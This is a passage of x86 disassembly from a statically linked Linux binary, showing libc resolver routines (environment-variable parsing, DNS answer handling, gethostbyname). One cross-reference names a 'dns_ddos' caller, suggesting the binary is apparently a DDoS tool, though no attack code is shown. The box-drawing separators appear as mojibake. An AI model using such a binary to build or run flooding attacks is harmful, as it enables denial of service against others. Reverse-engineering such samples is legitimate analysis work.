ebx, eax add esp, 4 test ebx, ebx jz loc_804B626 push 4 push offset aWarn ; "warn" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B59C cmp byte ptr [ebx+4], 0 jz short loc_804B583 movzx edx, byte ptr [ebx+4] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B59C loc_804B583: ; CODE XREF: init_services+B99j mov dword_8078514, 1 mov dword_8078518, 1 jmp loc_804B626 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B59C: ; CODE XREF: init_services+B93j ; init_services+BA9j push 3 push offset aOff ; "off" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B5DC cmp byte ptr [ebx+3], 0 jz short loc_804B5C6 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B5DC loc_804B5C6: ; CODE XREF: init_services+BDCj mov dword_8078514, 0 mov dword_8078518, 0 jmp short loc_804B626 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B5DC: ; CODE XREF: init_services+BD6j ; init_services+BECj push 8 push offset aWarnOff ; "warn off" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B61C cmp byte ptr [ebx+8], 0 jz short loc_804B606 movzx edx, byte ptr [ebx+8] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B61C loc_804B606: ; CODE XREF: init_services+C1Cj mov dword_8078514, 1 mov dword_8078518, 0 jmp short loc_804B626 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B61C: ; CODE XREF: init_services+C16j ; init_services+C2Cj mov dword_8078514, 1 loc_804B626: ; CODE XREF: init_services+B7Bj ; init_services+BBFj ... push offset aResolv_multi ; "RESOLV_MULTI" call getenv mov ebx, eax add esp, 4 test ebx, ebx jz short loc_804B67A push 2 push offset aOn ; "on" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B670 cmp byte ptr [ebx+2], 0 jz short loc_804B663 movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B670 loc_804B663: ; CODE XREF: init_services+C79j mov dword_8078510, 1 jmp short loc_804B67A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B670: ; CODE XREF: init_services+C73j ; init_services+C89j mov dword_8078510, 0 loc_804B67A: ; CODE XREF: init_services+C5Fj ; init_services+C95j push offset aResolv_reorder ; "RESOLV_REORDER" call getenv mov ebx, eax add esp, 4 test ebx, ebx jz short loc_804B6CE push 2 push offset aOn ; "on" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B6C4 cmp byte ptr [ebx+2], 0 jz short loc_804B6B7 movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B6C4 loc_804B6B7: ; CODE XREF: init_services+CCDj mov dword_807851C, 1 jmp short loc_804B6CE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B6C4: ; CODE XREF: init_services+CC7j ; init_services+CDDj mov dword_807851C, 0 loc_804B6CE: ; CODE XREF: init_services+CB3j ; init_services+CE9j push offset aResolv_add_tri ; "RESOLV_ADD_TRIM_DOMAINS" call getenv mov ebx, eax add esp, 4 test ebx, ebx jz short loc_804B74F push offset asc_8067950 ; " ,;:" push ebx jmp short loc_804B741 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B6EC: ; CODE XREF: init_services+D75j cmp dword_8078520, 3 jg short loc_804B73A push ebx mov eax, [ebp+var_408] push eax call strcpy mov eax, [ebp+var_408] mov ecx, dword_8078520 mov ds:dword_807A348[ecx*4], eax inc dword_8078520 mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_414], edx add [ebp+var_408], edx add esp, 8 loc_804B73A: ; CODE XREF: init_services+D1Bj push offset asc_8067950 ; " ,;:" push 0 loc_804B741: ; CODE XREF: init_services+D0Fj call strtok mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_804B6EC loc_804B74F: ; CODE XREF: init_services+D07j push offset aResolv_overrid ; "RESOLV_OVERRIDE_TRIM_DOMAINS" call getenv mov ebx, eax add esp, 4 test ebx, ebx jz loc_804B7E7 mov dword_8078520, 0 mov [ebp+var_408], offset unk_807A358 push offset asc_8067950 ; " ,;:" push ebx jmp short loc_804B7D9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B784: ; CODE XREF: init_services+E0Dj cmp dword_8078520, 3 jg short loc_804B7D2 push ebx mov eax, [ebp+var_408] push eax call strcpy mov eax, [ebp+var_408] mov ecx, dword_8078520 mov ds:dword_807A348[ecx*4], eax inc dword_8078520 mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_414], edx add [ebp+var_408], edx add esp, 8 loc_804B7D2: ; CODE XREF: init_services+DB3j push offset asc_8067950 ; " ,;:" push 0 loc_804B7D9: ; CODE XREF: init_services+DA8j call strtok mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_804B784 loc_804B7E7: ; CODE XREF: init_services+D88j mov dword_80784F8, 1 lea esp, [ebp+var_420] pop ebx pop esi pop edi mov esp, ebp pop ebp retn init_services endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804B800 proc near ; CODE XREF: gethostbyname+180p ; .text:0804C339p var_144 = byte ptr -144h var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 138h push edi push esi push ebx mov [ebp+var_12C], 0 mov eax, [ebp+arg_8] mov [ebp+var_130], eax mov ds:dword_8079E74, 0 mov edx, [ebp+arg_0] add edx, [ebp+arg_4] mov [ebp+var_108], edx mov eax, [ebp+arg_0] mov ax, [eax+6] xchg al, ah movzx edx, ax mov [ebp+var_120], edx mov eax, [ebp+arg_0] mov ax, [eax+4] xchg al, ah mov [ebp+var_10C], offset unk_8079F14 mov [ebp+var_11C], 401h mov esi, [ebp+arg_0] add esi, 0Ch cmp ax, 1 jz short loc_804B880 mov ds:dword_807E788, 3 jmp loc_804BE9E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B880: ; CODE XREF: sub_804B800+6Ej mov edx, [ebp+var_11C] push edx mov eax, [ebp+var_10C] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call dn_expand mov ebx, eax add esp, 14h test ebx, ebx jge short loc_804B8B8 mov ds:dword_807E788, 3 jmp loc_804BE9E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B8B8: ; CODE XREF: sub_804B800+A6j call libc_nls_init lea esi, [esi+ebx+4] cmp [ebp+arg_10], 1 jnz short loc_804B8FF xor cl, cl mov edi, [ebp+var_10C] mov al, cl cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx mov edx, [ebp+var_10C] mov ds:dword_8079E74, edx add edx, ebx mov [ebp+var_10C], edx sub [ebp+var_11C], ebx mov eax, ds:dword_8079E74 mov [ebp+arg_8], eax loc_804B8FF: ; CODE XREF: sub_804B800+C5j mov [ebp+var_110], offset dword_8079E88 mov ds:dword_8079E88, 0 mov ds:dword_8079E78, offset dword_8079E88 mov [ebp+var_114], offset dword_8079DE4 mov ds:dword_8079DE4, 0 mov ds:dword_8079E84, offset dword_8079DE4 mov [ebp+var_124], 0 mov [ebp+var_128], 0 mov eax, [ebp+var_120] dec [ebp+var_120] test eax, eax jle loc_804BE14 cmp [ebp+var_108], esi jbe loc_804BE14 nop loc_804B970: ; CODE XREF: sub_804B800+60Ej mov edx, [ebp+var_11C] push edx mov eax, [ebp+var_10C] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call dn_expand mov ebx, eax add esp, 14h test ebx, ebx jl loc_804BD6C add esi, ebx push esi call sub_804D6B8 mov ecx, eax movzx edi, cx add esi, 2 push esi call sub_804D6B8 mov ecx, eax and ecx, 0FFFFh mov [ebp+var_118], ecx add esi, 6 push esi call sub_804D6B8 mov ecx, eax movzx ebx, cx add esi, 2 add esp, 0Ch mov edx, [ebp+arg_C] cmp [ebp+var_118], edx jnz loc_804BDA7 cmp [ebp+arg_10], 1 jnz loc_804BB08 cmp edi, 5 jnz loc_804BB08 cmp [ebp+var_110], offset unk_8079F10 jnb loc_804BDEF push 101h lea eax, [ebp+var_104] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call dn_expand mov ebx, eax add esp, 14h test ebx, ebx jl loc_804BD6C add esi, ebx cmp ds:dword_8079E74, 0 jz short loc_804BA90 mov edx, [ebp+var_10C] push edx mov eax, ds:dword_8079E74 push eax call strcasecmp mov ecx, eax add esp, 8 test ecx, ecx jz short loc_804BA90 mov edx, [ebp+var_10C] push edx mov eax, ds:dword_8079E74 push eax push offset aGethostby_geta ; "gethostby*.getanswer: asked for \"%s\", g"... push 1Bh push 0Bh mov edx, dword_8078F9C push edx call sub_805E584 add esp, 10h mov ecx, eax push ecx push 25h call sub_8054EB0 add esp, 10h jmp loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BA90: ; CODE XREF: sub_804B800+239j ; sub_804B800+254j mov edx, [ebp+var_10C] mov eax, [ebp+var_110] mov [eax], edx add eax, 4 mov [ebp+var_110], eax mov edi, [ebp+var_10C] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx add edx, ebx mov [ebp+var_10C], edx sub [ebp+var_11C], ebx lea edi, [ebp+var_104] cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx cmp [ebp+var_11C], ebx jl loc_804BD6C lea edx, [ebp+var_104] push edx mov eax, [ebp+var_10C] push eax call strcpy mov edx, [ebp+var_10C] mov ds:dword_8079E74, edx jmp short loc_804BB86 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BB08: ; CODE XREF: sub_804B800+1E7j ; sub_804B800+1F0j cmp [ebp+arg_10], 0Ch jnz loc_804BB9C cmp edi, 5 jnz loc_804BB9C push 101h lea eax, [ebp+var_104] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call dn_expand mov ebx, eax add esp, 14h test ebx, ebx jl loc_804BD6C add esi, ebx lea edi, [ebp+var_104] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx cmp [ebp+var_11C], ebx jl loc_804BD6C lea edx, [ebp+var_104] push edx mov eax, [ebp+var_10C] push eax call strcpy mov edx, [ebp+var_10C] mov [ebp+var_130], edx loc_804BB86: ; CODE XREF: sub_804B800+306j add edx, ebx mov [ebp+var_10C], edx sub [ebp+var_11C], ebx add esp, 8 jmp loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BB9C: ; CODE XREF: sub_804B800+30Cj ; sub_804B800+315j cmp [ebp+arg_10], edi jz short loc_804BBE0 mov eax, [ebp+var_10C] push eax push edi mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] push eax push offset aGethostby_ge_0 ; "gethostby*.getanswer: asked for type %d"... push 1Ch push 0Bh mov edx, dword_8078F9C push edx call sub_805E584 add esp, 10h mov ecx, eax push ecx push 25h call sub_8054EB0 add esi, ebx add esp, 18h jmp loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BBE0: ; CODE XREF: sub_804B800+39Fj cmp edi, 1 jz short loc_804BC64 cmp edi, 0Ch jnz loc_804BDD8 mov eax, [ebp+var_10C] push eax mov edx, [ebp+var_130] push edx call strcasecmp mov ecx, eax add esp, 8 test ecx, ecx jz short loc_804BC18 mov eax, [ebp+var_10C] push eax mov edx, [ebp+arg_8] jmp short loc_804BC8D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BC18: ; CODE XREF: sub_804B800+408j mov edx, [ebp+var_11C] push edx mov eax, [ebp+var_10C] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call dn_expand mov ebx, eax add esp, 14h test ebx, ebx jge short loc_804BC4C inc [ebp+var_128] jmp loc_804BDE0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BC4C: ; CODE XREF: sub_804B800+43Ej mov edx, [ebp+var_10C] mov ds:dword_8079E74, edx loc_804BC58: ; CODE XREF: sub_804B800+66Ej ; sub_804B800+68Fj mov eax, offset dword_8079E74 jmp loc_804BEA0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BC64: ; CODE XREF: sub_804B800+3E3j mov eax, [ebp+var_10C] push eax mov edx, ds:dword_8079E74 push edx call strcasecmp mov ecx, eax add esp, 8 test ecx, ecx jz short loc_804BCBC mov eax, [ebp+var_10C] push eax mov edx, ds:dword_8079E74 loc_804BC8D: ; CODE XREF: sub_804B800+414j push edx push offset aGethostby_ge_1 ; "gethostby*.getanswer: asked for \"%s\", g"... push 1Ah push 0Bh mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h mov ecx, eax push ecx push 25h call sub_8054EB0 add esi, ebx add esp, 10h jmp loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BCBC: ; CODE XREF: sub_804B800+47Ej cmp [ebp+var_124], 0 jz short loc_804BCD4 cmp ds:dword_8079E80, ebx jz short loc_804BD2C jmp loc_804BDA7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BCD4: ; CODE XREF: sub_804B800+4C3j mov ds:dword_8079E80, ebx mov ecx, offset dword_8079E7C cmp [ebp+var_118], 1 jnz short loc_804BCF4 mov ds:dword_8079E7C, 2 jmp short loc_804BCFA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BCF4: ; CODE XREF: sub_804B800+4E6j mov dword ptr [ecx], 0 loc_804BCFA: ; CODE XREF: sub_804B800+4F2j mov edx, [ebp+var_10C] mov ds:dword_8079E74, edx mov edi, [ebp+var_10C] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb not ecx mov [ebp+var_138], ecx add edx, ecx mov [ebp+var_10C], edx sub [ebp+var_11C], ecx loc_804BD2C: ; CODE XREF: sub_804B800+4CBj mov eax, [ebp+var_10C] add eax, 4 mov edx, [ebp+var_10C] and edx, 3 sub eax, edx mov [ebp+var_10C], eax mov eax, [ebp+var_10C] add eax, ebx cmp eax, offset unk_807A315 jb short loc_804BD74 test byte ptr dword_807854C, 2 jz short loc_804BD6C push ebx push offset aSizeDTooBig ; "size (%d) too big\n" call sub_804F7EC add esp, 8 loc_804BD6C: ; CODE XREF: sub_804B800+196j ; sub_804B800+22Aj ... inc [ebp+var_128] jmp short loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BD74: ; CODE XREF: sub_804B800+553j cmp [ebp+var_114], offset unk_8079E6C jb short loc_804BDAC test byte ptr dword_807854C, 2 jz short loc_804BDA7 inc [ebp+var_12C] cmp [ebp+var_12C], 1 jnz short loc_804BDA7 push 23h push offset aTooManyAddress ; "Too many addresses (%d)\n" call sub_804F7EC add esp, 8 loc_804BDA7: ; CODE XREF: sub_804B800+1DDj ; sub_804B800+4CDj ... add esi, ebx jmp short loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BDAC: ; CODE XREF: sub_804B800+57Ej push ebx mov eax, [ebp+var_10C] mov edx, [ebp+var_114] mov [edx], eax push eax add edx, 4 mov [ebp+var_114], edx push esi call bcopy add [ebp+var_10C], ebx add esi, ebx add esp, 0Ch jmp short loc_804BDE0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BDD8: ; CODE XREF: sub_804B800+3E8j call abort lea esi, [esi+0] loc_804BDE0: ; CODE XREF: sub_804B800+446j ; sub_804B800+5D6j cmp [ebp+var_128], 0 jnz short loc_804BDEF inc [ebp+var_124] loc_804BDEF: ; CODE XREF: sub_804B800+200j ; sub_804B800+288j ... mov eax, [ebp+var_120] dec [ebp+var_120] test eax, eax jle short loc_804BE14 cmp [ebp+var_108], esi jbe short loc_804BE14 cmp [ebp+var_128], 0 jz loc_804B970 loc_804BE14: ; CODE XREF: sub_804B800+15Dj ; sub_804B800+169j ... cmp [ebp+var_124], 0 jz short loc_804BE94 mov edx, [ebp+var_110] mov dword ptr [edx], 0 mov eax, [ebp+var_114] mov dword ptr [eax], 0 test byte_80786A8, 0F0h jz short loc_804BE67 cmp [ebp+var_124], 1 jle short loc_804BE67 cmp [ebp+arg_C], 1 jnz short loc_804BE67 cmp [ebp+arg_10], 1 jnz short loc_804BE67 mov edx, [ebp+var_124] push edx push offset dword_8079DE4 call sub_804CBE4 add esp, 8 loc_804BE67: ; CODE XREF: sub_804B800+63Cj ; sub_804B800+645j ... cmp ds:dword_8079E74, 0 jnz loc_804BC58 mov eax, [ebp+arg_8] push eax mov edx, [ebp+var_10C] push edx call strcpy mov eax, [ebp+var_10C] mov ds:dword_8079E74, eax jmp loc_804BC58 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BE94: ; CODE XREF: sub_804B800+61Bj mov ds:dword_807E788, 2 loc_804BE9E: ; CODE XREF: sub_804B800+7Aj ; sub_804B800+B2j xor eax, eax loc_804BEA0: ; CODE XREF: sub_804B800+45Dj lea esp, [ebp+var_144] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804B800 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push edi push esi push ebx cmp dword_80784F8, 0 jnz short loc_804BEC4 call init_services loc_804BEC4: ; CODE XREF: .text:0804BEBDj xor edi, edi cmp ds:dword_8079DD4, 0 jz loc_804BF73 mov esi, offset dword_8079DD4 loc_804BED8: ; CODE XREF: .text:0804BF6Dj cmp edi, 3 jg loc_804BF73 mov eax, [esi] cmp eax, 2 jz short loc_804BEF4 jle short loc_804BF66 cmp eax, 3 jz short loc_804BF1C jmp short loc_804BF66 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BEF4: ; CODE XREF: .text:0804BEE6j call _gethtent mov ebx, eax cmp ds:dword_8079DE8, 0 jz short loc_804BF16 cmp dword_807851C, 0 jz short loc_804BF16 push ebx call sub_804A5CC add esp, 4 loc_804BF16: ; CODE XREF: .text:0804BF02j ; .text:0804BF0Bj test ebx, ebx jnz short loc_804BF4C jmp short loc_804BF5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BF1C: ; CODE XREF: .text:0804BEEDj push offset aHosts_byname ; "hosts.byname" push 0 call sub_804C9E4 mov ebx, eax add esp, 8 cmp ds:dword_8079DE8, 0 jz short loc_804BF48 cmp dword_807851C, 0 jz short loc_804BF48 push ebx call sub_804A5CC add esp, 4 loc_804BF48: ; CODE XREF: .text:0804BF34j ; .text:0804BF3Dj test ebx, ebx jz short loc_804BF5C loc_804BF4C: ; CODE XREF: .text:0804BF18j mov ds:dword_807E788, 0 mov eax, ebx jmp short loc_804BF75 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BF5C: ; CODE XREF: .text:0804BF1Aj ; .text:0804BF4Aj mov ds:dword_807E788, 1 loc_804BF66: ; CODE XREF: .text:0804BEE8j ; .text:0804BEEFj add esi, 4 inc edi cmp dword ptr [esi], 0 jnz loc_804BED8 loc_804BF73: ; CODE XREF: .text:0804BECDj ; .text:0804BEDBj xor eax, eax loc_804BF75: ; CODE XREF: .text:0804BF58j lea esp, [ebp-0Ch] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame gethostbyname proc near ; CODE XREF: gethostbyname_+7p ; dns_ddos+F1p ... var_410 = byte ptr -410h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 404h push edi push esi push ebx mov edx, [ebp+arg_0] movzx edx, byte ptr [edx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz loc_804C058 mov ecx, [ebp+arg_0] jmp loc_804C049 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BFAC: ; CODE XREF: gethostbyname+D2j mov edx, [ebp+arg_0] push edx call inet_addr mov ds:dword_807A318, eax cmp eax, 0FFFFFFFFh jnz short loc_804BFD0 mov ds:dword_807E788, 1 jmp loc_804C225 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BFD0: ; CODE XREF: gethostbyname+3Dj mov edx, [ebp+arg_0] mov ds:dword_8079E74, edx mov ds:dword_8079E78, offset dword_8079E88 mov ds:dword_8079E88, 0 mov ds:dword_8079E7C, 2 mov ds:dword_8079E80, 4 mov ds:dword_8079DE4, offset dword_807A318 mov ds:dword_8079DE8, 0 mov ds:dword_8079E84, offset dword_8079DE4 mov ds:dword_807E788, 0 mov eax, offset dword_8079E74 jmp loc_804C227 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C034: ; CODE XREF: gethostbyname+CCj movzx edx, byte ptr [ecx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jnz short loc_804C048 cmp byte ptr [ecx], 2Eh jnz short loc_804C058 loc_804C048: ; CODE XREF: gethostbyname+C1j inc ecx loc_804C049: ; CODE XREF: gethostbyname+25j cmp byte ptr [ecx], 0 jnz short loc_804C034 cmp byte ptr [ecx-1], 2Eh jnz loc_804BFAC loc_804C058: ; CODE XREF: gethostbyname+1Cj ; gethostbyname+C6j cmp dword_80784F8, 0 jnz short loc_804C066 call init_services loc_804C066: ; CODE XREF: gethostbyname+DFj xor edi, edi cmp ds:dword_8079DD4, 0 jz loc_804C225 lea esi, [esi+0] loc_804C078: ; CODE XREF: gethostbyname+29Fj cmp edi, 3 jg loc_804C225 mov eax, ds:dword_8079DD4[edi*4] cmp eax, 2 jz loc_804C134 jg short loc_804C0A0 cmp eax, 1 jz short loc_804C0B0 jmp loc_804C216 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C0A0: ; CODE XREF: gethostbyname+111j cmp eax, 3 jz loc_804C194 jmp loc_804C216 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C0B0: ; CODE XREF: gethostbyname+116j push 400h lea eax, [ebp+var_400] push eax push 1 push 1 mov edx, [ebp+arg_0] push edx call sub_804E180 add esp, 14h test eax, eax jge short loc_804C0F0 test byte ptr dword_807854C, 2 jz loc_804C216 push offset aRes_searchFail ; "res_search failed\n" call sub_804F7EC add esp, 4 jmp loc_804C216 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C0F0: ; CODE XREF: gethostbyname+14Ej push 1 push 1 mov edx, [ebp+arg_0] push edx push eax lea eax, [ebp+var_400] push eax call sub_804B800 mov esi, eax add esp, 14h cmp ds:dword_8079DE8, 0 jz short loc_804C125 cmp dword_807851C, 0 jz short loc_804C125 push esi call sub_804A5CC add esp, 4 loc_804C125: ; CODE XREF: gethostbyname+191j ; gethostbyname+19Aj test esi, esi jz loc_804C216 jmp loc_804C1FA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C134: ; CODE XREF: gethostbyname+10Bj cmp ds:dword_807A348, 0 jz short loc_804C164 mov edx, [ebp+arg_0] push edx call strdup mov ebx, eax push ebx call sub_804A4F4 push ebx call sub_804C6FC mov esi, eax push ebx call free add esp, 10h jmp short loc_804C172 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C164: ; CODE XREF: gethostbyname+1BBj mov edx, [ebp+arg_0] push edx call sub_804C6FC mov esi, eax add esp, 4 loc_804C172: ; CODE XREF: gethostbyname+1DFj cmp ds:dword_8079DE8, 0 jz short loc_804C18D cmp dword_807851C, 0 jz short loc_804C18D push esi call sub_804A5CC add esp, 4 loc_804C18D: ; CODE XREF: gethostbyname+1F9j ; gethostbyname+202j test esi, esi jnz short loc_804C1FA jmp short loc_804C20C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C194: ; CODE XREF: gethostbyname+123j cmp ds:dword_807A348, 0 jz short loc_804C1C8 mov edx, [ebp+arg_0] push edx call strdup mov ebx, eax push ebx call sub_804A4F4 push offset aHosts_byname ; "hosts.byname" push ebx call sub_804C9E4 mov esi, eax push ebx call free add esp, 14h jmp short loc_804C1DB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C1C8: ; CODE XREF: gethostbyname+21Bj push offset aHosts_byname ; "hosts.byname" mov edx, [ebp+arg_0] push edx call sub_804C9E4 mov esi, eax add esp, 8 loc_804C1DB: ; CODE XREF: gethostbyname+244j cmp ds:dword_8079DE8, 0 jz short loc_804C1F6 cmp dword_807851C, 0 jz short loc_804C1F6 push esi call sub_804A5CC add esp, 4 loc_804C1F6: ; CODE XREF: gethostbyname+262j ; gethostbyname+26Bj test esi, esi jz short loc_804C20C loc_804C1FA: ; CODE XREF: gethostbyname+1ADj ; gethostbyname+20Fj mov ds:dword_807E788, 0 push esi call sub_804A580 jmp short loc_804C227 ; 